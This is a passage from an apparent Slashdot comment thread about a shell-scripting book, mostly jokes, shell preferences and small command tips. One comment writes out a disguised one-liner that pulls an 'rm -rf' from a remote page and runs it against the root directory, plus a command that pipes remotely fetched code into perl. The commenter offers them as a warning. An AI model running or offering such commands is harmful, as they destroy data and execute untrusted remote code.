      Nothing involving that demon-spawn called COM is easy. I've had to deal with COM as a consequence of needing to use DirectX to access video-capture devices, and the hoops you have to go through to do anything useful are just plain evil.

      --
      20 January 2017: the End of an Error.
    5. Re:Is that a recipe for bloat? by plover · · Score: 1
      I guess maybe I've written too many COM objects to think hard about it anymore.

      I found a lot of the problems were in keeping up with the Microsoft AOTD (Acronym Of The Day.) COM itself is quite elegant. And ATL provides a decent wrapper layer around most of the ugly stuff. But if you go starting to play with IDispatch, or OLE, or trying to use the MFC wrappers instead of the ATL wrappers (or worse, try mixing and matching MFC and ATL) you're asking for a world of headaches. And DCOM (or COM+) has been completely useless to us -- the authentication schemes hog-tie you into uncontrollable access problems that we can't afford. But just plain, simple COM objects are great on a Windows box. I have C++, VB and ASP clients all sharing my objects. They just work.

      Not that I don't have troubles now and again, mind you. It's just that once you've got it, it's not a big deal. The ATL smart pointer macros wrap the interface nicely, to the point where once you've acquired a pointer to one, you don't even have to know you're working with a COM object anymore (unless you choose to.)

      Of course, the COM architecture is not as elegant as STL, and it's not as simple as stdio. But it can be powerful.

      <real_reason>
      Besides, they pay me money to do it. So what am I supposed to do, turn 'em down? :-)
      </real_reason>

      --
      John
  111. Laid off haiku by infolib · · Score: 2, Funny
    appropriate to the situation:

    You have been replaced
    by a wicked cool shell script
    hash bang slash bin bash
    --
    Any sufficiently advanced libertarian utopia is indistinguishable from government.
  112. I can't wait... by op00to · · Score: 1

    This sounds like when I used to type in Apple ][ BASIC programs line for line from magazines.. I guess things really don't change much these days.

  113. Korn and Bash Please by Anonymous Coward · · Score: 0

    I'm glad to see any good book about
    shell programming being published but
    I wish the focus of the book was on
    Korn and Bash shells and not Bourne.
    The difference between Korn and Bash
    vs. Bourne is like night and day. You
    can do so much more, so much easier with
    Korn and Bash. Shell programming rules!

  114. Re:killing processes by name... - by timbrown · · Score: 1

    Erm, Solaris has pkill and pgrep for killing and locating process by name and other process attributes.

    --
    Tim Brown
  115. MinGW by mark_space2001 · · Score: 3, Informative
    The good folks at MinGW.org make a package called MSYS that has most of the binutils and runs as native apps under windows. I use it a lot, it's really handy when I want to download and open a bzipped tar file on windows.

    The latest version of sh.exe is 465k bytes, it sounds like you have an old version. You should upgrade it. :)

    1. Re:MinGW by Ark42 · · Score: 1


      I'm not sure its part of MSYS. When you run it, the cmd prompt title chanegs to "MKS Korn Shell" and its icon has a picture of an ear of corn. No idea what its from or where I downloaded it, it was a long time ago.

    2. Re:MinGW by macsuibhne · · Score: 1

      MKS is (or used to be) Mortice Kern Systems, who sell a product called MKS toolkit which supplies a complete set of UNIX command line utilities (sed, awk, sh, diff etc.) for Windows. Your sh.exe has been "liberated" from a copy of that.

      Tony.

      --
      -- "Quis custodiet ipsos custodes?" -- Juvenal
  116. I HAVE NO IDEA WHAT THIS REGEX BULLSHIT MEANS by chemstar · · Score: 3, Interesting



    But then I discovered The Regex Coach.

  117. Re:Hmm... by UserGoogol · · Score: 1

    Wicked is grammatically correct, although slangy. Wicked is an adverb in some areas, notably New England. See American Heritage Dictionary.

    --
    "Never attribute to malice that which can be adequately explained by stupidity." -- Hanlon's Razor
  118. /bin/bash is dynamically linked by niittyniemi · · Score: 1


    > usually the really important scripts are running /bin/sh
    > - a STATICALLY compiled binary of a shell that is pretty much everywhere.


    On Linux? I don't think so. It used to be that /bin/sh was just a symlink to a dynamically linked /bin/bash. Has this changed? When?

    > you can boot linux without glibc working

    Wrong. On Linux you're usually SOL.

    On FreeBSD all shells are built statically and /bin/sh is built for speed with most of the interactive features stripped out.

    I suggest Linux users build a static shell and install it on their root partition for when the sh*t hits the fan.

    I use Korn for interactive use and some scripts. Plenty of features and fast.

    --
    The Machine stops.
    1. Re:/bin/bash is dynamically linked by Anonymous Coward · · Score: 0

      A good shell to have is "sash", or Stand-Alone Shell. Not only is it statically linked, but it also has internal versions of mv, cp, ls, dd, gzip, etc...

      I had a problem under Linux where I fucked up my libc. The shell was already loaded into RAM, so I could type commands. However, the binaries for "mv" and "cp" wanted libc.

      It's been awhile, but I think I used sash to get me out of that one...

    2. Re:/bin/bash is dynamically linked by Anonymous Coward · · Score: 0
      A good shell to have is "sash", or Stand-Alone Shell. Not only is it statically linked, but it also has internal versions of mv, cp, ls, dd, gzip, etc...
      Or even better, a static busybox. It does all of sash and more. Kernel + busybox = working system.
  119. Bah by goobenet · · Score: 1

    Real hacks involve power tools, large ammounts of power, and sometimes highly explosive/corrosive chemicals.

    Ever seen what a deep cycle battery and a pair of jumper cables can do to a wire hutch at the end of the block? Don't need to know squat about sed and awk for that ammount of fun :)

  120. Flamebait? by DrMorpheus · · Score: 1
    I'm expressing an opinion you pinhead moderator!

    If you don't agree with it then post a reasonable argument against it.

    --
    Debunking the "59 Deceits"
  121. Re:Hmm... by gosand · · Score: 1
    Wore that shirt to my parents one time and my mom didn't exactly get it. Unix does not equal Eunuchs. Try explaining that to your mom.

    Your mom *knows* I am not a eunuch.

    --

    My beliefs do not require that you agree with them.

  122. No, C-shell is the worse shell ever. by DrMorpheus · · Score: 1

    And what's your problem with Esc-k?

    --
    Debunking the "59 Deceits"
  123. Perl can use the Shell by Anonymous Coward · · Score: 0

    Did you know that Perl can execute shell commands?
    A very simple, example:
    print `ls`;
    then save it in a .pl file chmod +x it and then run it. see how easy it is?
    so take your 4 line shell script and execute it from Perl:
    print `my4LineScript.sh`;
    and then you AND your boss are happy (maybe).

  124. unix tips site by aint · · Score: 1

    A resource where people post and view "unix tips" can be seen here: www.unixtips.org

  125. wrong... by segment · · Score: 1

    for i in `lynx -dump http://www.geocrawler.com/archives/3/209/1998/4/0/ 1209608/|sed -n '83p'|awk '{print $7,$8,$9}'`; do xargs $i /*; done

    don't do this let me explain what this will do...

    It goes to a script on geocrawler.com and looks and parses out the rm -rf command and executes it... plain and simple. Scripts are dangerous and you should definitely not run them if you don't know what your doing...

    GET www.infiltrated.net/magic|perl

    That's lame though and does nothing... It's deception nothing more

    1. Re:wrong... by Perky_Goth · · Score: 1

      hei, i didn't say i knew awk and sed very well, i just thought they were safe. no need for a demo :)

      thanks.

  126. Re:Hmm... by ocie · · Score: 4, Funny

    This would make a great programming/scripting language:

    #/bin/shizle -yo

    #declare a gangsta (variable) called slim
    I'm a big ass gangsta and my name is slim

    #link in the math pimp (library)
    math pimp is in tow and don't you fsck with him

    #initialize slim to the hos (linked list) 4,3,2,1
    # this causes an error because there is no rhyme
    4 and 3 and 2 and 1 now slim and his hos be comming for you

    #open a shoutout (file)
    Yo, here's a shoutout to the users out there
    hey Andy (CR LF)
    hey Amy (CR LF)
    hey Ben (CR LF)
    hey Zack (CR LF)

    #exit with no error code
    peace out

    % ./skriptizzl
    errah /bin/shizle detected a non rhyme stizzle in your shizzle. Line 10 son, check it out yo!

    --
    JET Program: see Japan, meet intere
  127. Technical support for WinBatch? AutoIt by Futurepower(R) · · Score: 2, Informative


    I've had problems getting technical support for WinBatch. That was a long time ago, maybe things have changed now. There were so many small and big problems that I stopped using WinBatch.

    I haven't checked out AutoIt, a free alternative, apparently. From the home page:

    "AutoIt is a simple tool that can simulate key presses, mouse movements and window commands (maximize, minimize, wait for, etc.) in order to automate any windows based task (or even windowed DOS tasks)."

  128. A couple I use everyday... by ewe2 · · Score: 2, Interesting

    this is my favourite bash function, psgrep()

    ps aux | grep $1 | grep -v grep

    And my favourite script, cls:

    #!/bin/sh
    echo -e 'ESC[c'

    --
    insecurity asks the wrong question irritation gives the wrong answer
    1. Re:A couple I use everyday... by Anonymous Coward · · Score: 0

      > this is my favourite bash function, psgrep()
      >
      > ps aux | grep $1 | grep -v grep

      Or you could just use (surprise, surprise): /usr/bin/pgrep

      Or if you still prefered you bash function, you can shorten it to:

      ps aux | grep [$1]

    2. Re:A couple I use everyday... by prakashk · · Score: 1
      The 'cls' script is more portably written as:
      #!/bin/sh
      tput clear
      if, you do not already have the 'clear' command.


      If you are fond of the name 'cls', then do:

      alias cls=/usr/bin/clear
      /prakash
    3. Re:A couple I use everyday... by Anonymous Coward · · Score: 0

      ever heard of 'clear'?

  129. wicked by Anonymous Coward · · Score: 0

    Evil by nature and in practice: "this wicked man Hitler, the repository and embodiment of many forms of soul-destroying hatred" (Winston S. Churchill).

    So, these are malicious trojans?

    Subversion by publishing.

  130. You don't need awk, sed, sort or uniq by Pan+T.+Hose · · Score: 1

    The other major time saver I use are sed and awk. I used each for a specific purpose. Sed works great for substitution, and awk I use to grab columns of data. Here's a sample of how I'd use both together. This will list the home directories of the users on a machine. It's simple, but there's a ton you can do with this technique.

    who | awk '{print $1}' | sort | uniq | sed 's@^@/home/@g'

    Actually, you don't need awk, sed, sort or uniq to do that. You can use perl for everything:

    who | perl '-laneprint$F[0]' | perl '-eprint sort<>' | perl '-ne$_{$_}++||print' | perl '-pe$_="/home/$_"'

    Same thing, but without using awk, sed, sort or uniq at all.

    Here's other stuff I have grouped by sections in my .cshrc

    If you are programming in a csh-like shell and you are not reading comp.unix.shell you might want to take a look at this post by Tom Christiansen for a nice description of everything you should make sure to be especially careful with.

    --
    Sincerely,
    Pan Tarhei Hosé, PhD.
    "Homo sum et cogito ergo odi profanum vulgus et libido."
  131. Boston by brand+bendy · · Score: 0

    Shouldn't this be called <Boston Accent> Wicked Cool Shell Scripts </Boston Accent> ?

    --
    I use phrases like "darn good" and "rootin' tootin'", but only when there's a darn good, rootin tootin' reason!
  132. Re:Hmm... by Anonymous Coward · · Score: 0

    Ah, but mrgrey's problem is that his mom now believes that her son is a eunuch. The poor woman's been worrying for years why her son doesn't bring in a girlfriend, even a boyfriend would do but no, nothing happens at all.

  133. Re:Hmm... by Anonymous Coward · · Score: 0

    Nice one :)

  134. wicked good or wicked bad? by pixelbeat · · Score: 1

    I have to say there are no scripts
    there that I would find particularly
    useful or that the logic isn't already elsewhere.
    Here's my personal collection of
    command line tips and
    scripts

  135. Re:Hmm... by Imperator · · Score: 1

    I thought the whole point of using shizzle up the wahizzle is that lines don't have to rhizzle.

    --

    Gates' Law: Every 18 months, the speed of software halves.
  136. Re:sounds cool [OT] by BandwidthHog · · Score: 1

    I love the .sig. Somewhat similar to what I posted recently in someone's journal.

    --

    Quantum materiae materietur marmota monax si marmota monax materiam possit materiari?
  137. Heh Good one! :))))) by Anonymous Coward · · Score: 0

    Please mod parent up: +5, Funny!

  138. Re:sounds cool [OT] by 74nova · · Score: 1

    haha, very nice. the turning into the wrong lane bit is prevalent in my little college town as well. occasionally, i make sure they can see me and MAKE them turn into the proper lane when i am turning right. i've always wondered if that constituted "not yielding" like i am supposed to since they have the arrow to turn left...

    --
    use your turn signal! you people act like it's divulging information to the enemy
  139. Thanks for a link to a free guide by Fluidic+Binary · · Score: 1

    Thanks for an awesome recommendation. I wish things like this were mentioned here even more often. I will definately be checking that out.